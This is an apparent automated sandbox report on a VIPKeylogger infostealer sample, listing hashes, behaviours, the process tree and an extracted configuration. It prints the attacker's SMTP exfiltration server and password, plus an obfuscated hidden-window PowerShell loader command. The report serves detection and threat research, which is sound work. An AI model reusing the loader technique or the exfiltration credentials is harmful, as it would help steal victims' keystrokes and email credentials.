Analysis
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max time kernel
144s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
06/11/2024, 11:44
Static task
static1
Behavioral task
behavioral1
Sample
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$_12_/Swanson.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
$_12_/Swanson.ps1
Resource
win10v2004-20241007-en
General
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Target
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe
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Size
443KB
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MD5
eb54141b5e25102ff3b58c37705752ce
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SHA1
11a0cddab8eb1d02e56ae7431cd341308ab97d15
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SHA256
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a
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SHA512
2a18299b04ef8d78b34081412858106471e480d253ce4b83ccda08368833e08fa739443e4b674e2b4e5ef0723b8ea4d0f6abfdb1d8af2711d00b384f53f6deae
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SSDEEP
12288:aTMfFqZXFzJOEL9GiKuULwuxr2sN9cdPV+a:aTMfFqxFkuK1LBig9qPV
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.turktav.com - Port:
587 - Username:
[email protected] - Password:
)d!s~MV@X;!M - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4532 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 34 872 msiexec.exe 36 872 msiexec.exe 38 872 msiexec.exe 40 872 msiexec.exe 44 872 msiexec.exe 47 872 msiexec.exe 52 872 msiexec.exe 55 872 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 34 drive.google.com 33 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 46 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 872 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4532 powershell.exe 872 msiexec.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\unionizes\impersonal.ini f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 872 msiexec.exe 872 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4532 powershell.exe Token: SeIncreaseQuotaPrivilege 4532 powershell.exe Token: SeSecurityPrivilege 4532 powershell.exe Token: SeTakeOwnershipPrivilege 4532 powershell.exe Token: SeLoadDriverPrivilege 4532 powershell.exe Token: SeSystemProfilePrivilege 4532 powershell.exe Token: SeSystemtimePrivilege 4532 powershell.exe Token: SeProfSingleProcessPrivilege 4532 powershell.exe Token: SeIncBasePriorityPrivilege 4532 powershell.exe Token: SeCreatePagefilePrivilege 4532 powershell.exe Token: SeBackupPrivilege 4532 powershell.exe Token: SeRestorePrivilege 4532 powershell.exe Token: SeShutdownPrivilege 4532 powershell.exe Token: SeDebugPrivilege 4532 powershell.exe Token: SeSystemEnvironmentPrivilege 4532 powershell.exe Token: SeRemoteShutdownPrivilege 4532 powershell.exe Token: SeUndockPrivilege 4532 powershell.exe Token: SeManageVolumePrivilege 4532 powershell.exe Token: 33 4532 powershell.exe Token: 34 4532 powershell.exe Token: 35 4532 powershell.exe Token: 36 4532 powershell.exe Token: SeDebugPrivilege 872 msiexec.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 872 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1336 wrote to memory of 4532 1336 f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe 93 PID 1336 wrote to memory of 4532 1336 f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe 93 PID 1336 wrote to memory of 4532 1336 f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe 93 PID 4532 wrote to memory of 872 4532 powershell.exe 99 PID 4532 wrote to memory of 872 4532 powershell.exe 99 PID 4532 wrote to memory of 872 4532 powershell.exe 99 PID 4532 wrote to memory of 872 4532 powershell.exe 99 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe"C:\Users\Admin\AppData\Local\Temp\f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Filatelistens129=Get-Content -raw 'C:\Users\Admin\AppData\Local\storsejl\Swanson.Dru';$Flelsesbetonedes=$Filatelistens129.SubString(54366,3);.$Flelsesbetonedes($Filatelistens129)2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:872
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
53KB
MD565bc8a11ffd407733d75db48b12391db
SHA1b526649bf4e91d4ef50ce1b57d07a701577da863
SHA25674912feae84ab608ad64d41ca97903d73a0da5b250bb333f41bea8fb73acfbd5
SHA512ec2187b6c90956b8c49238154a429b522ecbebba93bbfc788aa08eea13cb28f6632fcb14539911b577bfe19c7a6d9d0575d6fcb6a27eb35d8333172711eb07e3
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Filesize
205KB
MD59e14a70e60334a2faf20cda5e3911554
SHA12c736f40824d346bb52a4956d452965743a0703f
SHA256e7d0db56c30835e9242b5b803f7d558ef24f23d17186b7ca23e4a704016322df
SHA512a105846fe492171b0b05066d491260896bdc2edf9f0a36dc932d995b74f344af2be800c40ba14b5ba5a6080457ffc5757e8131b216829b56a7204ee8d974b85f